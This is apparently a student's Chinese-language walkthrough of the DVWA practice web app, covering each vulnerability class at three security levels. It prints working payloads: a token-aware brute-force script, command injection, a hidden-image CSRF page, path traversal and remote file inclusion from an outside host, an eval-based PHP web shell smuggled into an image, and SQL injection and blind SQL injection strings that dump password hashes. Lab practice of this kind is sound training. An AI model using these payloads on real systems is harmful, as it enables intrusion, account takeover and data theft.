DVWA——闯关记录

Brute force(暴力破解)
low

查看源代码可以看到,仅仅验证了是否设置了login参数,对username和password没有任何过滤

///部分源代码///

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

可以采用burp抓包,暴力破解,也可以手动注入

username:admin' or 1='1
password:
medium

Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,',",x1a)进行转义,基本上能够抵御sql注入攻击

sql注入不再有效,但是采用burp爆破依然也可以成功

high

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

因为加入了token。不再使用burp爆破,参考脚本如下

from bs4 import BeautifulSoup
import requests
import re
requrl = "http://49.235.230.115:13001/vulnerabilities/brute/"
def get_token(requrl):
    cookies = {'Cookie': 'security=high; PHPSESSID=eoeqii4vtg3kjv86i5fc1k97s4'}
    req = requests.post(url=requrl, cookies=cookies)
    response = req.text
    bs = BeautifulSoup(response, "html.parser")
    user_token = bs.find_all(re.compile("input"))[3]
    m=str(user_token).split()[3]
    m=m.split('\"')[1]
    print(m)
    user_token=m;
    return user_token
try:
    user_token = get_token(requrl)
    for passwd in open("password.txt"):
        requrl = "http://49.235.230.115:13001/vulnerabilities/brute/" + "?username=admin&password=" + passwd.strip() + "&Login=Login&user_token=" + user_token
        user_token = get_token(requrl)
except Exception as e:
    print(e)

利用burp检测情况即可,长度不同的请求便可以得知就是正确的密码

60_~6RT_NCJM_46@V_6VGQ9.png

Command injection(命令注入)
low

查看源代码可以看见,程序判断操作系统类型,并执行对应的ping命令

///相关函数介绍 ///

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为"false" ,如果设置为 "true",函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

可以看见,程序并未对'ip'进行任何的过滤

Windows和Linux都可以使用&&执行多条命令

这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

可以输入以下命令

ip:127.0.0.1&&net user

net user 查看与账户有关的信息(新建账户、删除账户、查看特定账户、激活账户、账户禁用),为克隆账户提供前提,键入不带参数的命令可以查看所有用户包括已经禁用的

medium

查看源代码,可以看到对IP参数进行了一定的过滤,即将

&& 和 ; 删除

本质上和low等级没区别

high

查看源代码可以看见几乎过滤了所有非法字符

// Set blacklist

$substitutions = array(

​ '&' => '',

​ ';' => '',

​ '| ' => '',

​ '-' => '',

​ '$' => '',

​ '(' => '',

​ ')' => '',

​ '`' => '',

​ '||' => '',

);

但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

CSRF(跨站请求伪造)
low

关键:利用受害者的cookie向服务器发送伪造请求,不同浏览器cookie不一样

1、利用引诱受害者点击网页链接达到目的

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

可以看见这个链接过于明显,并且受害者看见这个页面就知道自己密码被篡改了

但是,当服务器域名不是IP时可以生成相应的短链接,但是修改之后依然可以看见密码被修改的界面

2、构造攻击页面

事先在公网上上传一个攻击页面,诱骗受害者去访问

本地测试代码如下

<!DOCTYPE html>
<html lang="en">
<head>
    <title>404</title>
</head>
<body>
	<img src="http://49.235.230.115:13001/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#"
		 border="0" style="display:none;"/>

	<h1>404<h1>
	<h2>file not found<h2>
</body>
</html>

受害者点击这个页面之后,密码就被篡改了

medium

查看网页源代码,可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是49.235.230.115)

相关函数:

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),返回布尔值

过滤规则是http包头的Referer参数的值中必须包含主机名,因此只需要将攻击页面命名为

49.235.230.115.html

即可

high

查看源代码,可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

可以去构造一个界面,放在攻击者的额服务器,然后吸引受害者去点击。攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。但是这里涉及了跨域,现在的浏览器使不允许跨域的。

因此,只能将页面部署在受害者的服务器上面

下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

这里的name参数存在XSS漏洞,注入代码如下

Name:<iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)

成功弹出弹窗

File inclusion(文件包含)

文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

查看源代码,可以看见,源代码对于page 参数没有进行任何的过滤。因此有以下两种方式对漏洞进行利用

1、本地文件包含

构造url

http://49.235.230.115:13001/vulnerabilities/fi/?page=../../../etc/passwd	#Linux下查看服务器根目录,也可以使用/etc/shadow,但是可能会因为没有权限读取失败

_J4C_UAJ8_PT3H_4@_P_93F.png

2、远程文件包含

在远程服务器上放一个phpinfo.php文件

其内容是

<?php
phpinfo();
?>

_916C_XA4SZGHVJVQ36`_L6.png

如图所示,随后构造url

http://49.235.230.115:13001/vulnerabilities/fi/?page=http://47.94.132.67/phpinfo.php

2I~L_SAJA6U_DNRT_V`Q2DT.png

成功获取服务器信息

medium

查看源代码可以看见

$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);

代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” ../”、”..\”替换为空字符,即删除。

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

因为只替换../和..\,因此可以将命令改为

http://49.235.230.115:13001/vulnerabilities/fi/?page=..././..././..././etc/passwd	

读取成功

C@JAIE`F9@FJ5__G6SKWNPN.png

远程文件包含也可用双写绕过

http://49.235.230.115:13001/vulnerabilities/fi/?page=hthttp://tp://47.94.132.67/phpinfo.php

读取成功

high

查看源代码可以看到

//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php")

代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。对此,我们可以利用file协议构造url,但是首先要获取文件的绝对路径

http://49.235.230.115:13001/vulnerabilities/fi/?page=file:///C:/phpstudy/php/php-5.4.45/php.ini
File upload(文件上传)
low

查看源代码

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 

可以看见,源代码对于上传的文件没有进行任何过滤

basename(path,suffix)

函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。

上传文件hack.php(一句话木马)

<?php
@eval($_POST['eee']);
?>

OHV_BAP_ICB___Y@_DH8UI1.png

可以看见已经成功上传,随后使用菜刀链接

可以知道文件所在位置

http://49.235.230.115:13001/hackable/uploads/hack.php

利用菜刀链接,如图
FUN_FOIP86_VBFM_CL_K_XW.png

medium

查看源代码,限制了上传文件类型必须是jpeg或者png,且大小不超过100000B

首先一句话木马文件phpinfo.php将其后缀修改为png,随后抓包,修改文件名称为phpinfo.php

此处文件名修改为phpinfo.php,成功上传,之后利用菜刀连接即可

high

查看源代码,可以看见

strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

在这里可以利用copy将一句话木马与图片结合

8__@YE_T_FDY_QO0__`5W0R.png

打开图片文件,可以看见一句话木马被加载了文件最后

随后,可以看见上传成功

利用菜刀连接即可

Sql injection(sql注入)
low

查看源代码,可以看见对输入的id没有任何的过滤,且参数是以单引号闭合

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

构造语句

1' or '1'=1 #

成功

medium

查看源代码可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

但是依旧可以通过抓包修改参数

首先抓包修改参数id为

1' or 1=1#

报错,之后修改参数为

1 or 1=1#

查询成功,说明存在字符型注入,此时函数mysql_real_escape_string并未起作用

之后依次修改参数

1 union select 1,2#	确定字段显示顺序
1 union select 1,database() #	查询数据库名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #	查询表名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #	将**'user'**修改为**0x7573657273**,避免被函数转义,查询字段名
high

查看源代码,很明显只是添加了Limit 1,其余和low级别没有说明区别,可以将Limit 1注释掉即可

输入代码:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

可以看见输出目标结果

S7PH_9PQI_9R11O94G__DTY.png

Sql injection(blind)(SQL盲注)
low

可知,一共有两种结果

User ID exists in the database.

User ID is MISSING from the database.

可以采用两种方法

1、基于布尔类型的盲注

输入1’ and length(database())=1 #,显示不存在;

输入1’ and length(database())=2 #,显示不存在;

输入1’ and length(database())=3 #,显示不存在;

输入1’ and length(database())=4 #,显示存在:

随后使用二分法猜数据库名,之后猜表的数量

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

后续不再一一赘述

2、基于时间的盲注

1’ and if(length(database())=1,sleep(5),1) # 没有延迟

1’ and if(length(database())=2,sleep(5),1) # 没有延迟

1’ and if(length(database())=3,sleep(5),1) # 没有延迟

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

方法和上面的类似

medium

查看源代码可以看见,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

同样的,利用抓包修改参数即可达到目的,参数内容和low等级一样,不再赘述

high

查看源代码,可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了limit,但是我们可以将其注释掉

抓包然后修改id参数

后续步骤和medium类似,不再赘述